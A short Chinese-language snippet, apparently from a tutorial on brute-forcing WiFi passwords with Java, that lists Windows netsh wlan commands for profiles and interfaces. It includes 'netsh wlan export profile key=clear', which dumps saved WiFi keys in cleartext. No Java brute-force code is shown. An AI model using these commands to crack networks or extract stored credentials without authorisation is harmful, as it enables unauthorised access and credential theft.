Java编程实现暴力破解WIFI密码的方法分析

// 列出所有可用wifi
netsh wlan show networks mode=bssid
// 添加配置文件
netsh wlan add profile filename=FILE_NAME
// 连接wifi
netsh wlan connect name=SSID_NAME
// 导出配置文件
netsh wlan export profile key=clear
// 列出配置文件
netsh wlan show profile
// 删除配置文件
netsh wlan delete profile name=FILE_NAME
// 列出接口
netsh wlan show interface
// 开启接口
netsh interface set interface "Interface Name" enabled

netsh wlan export profile key=clear
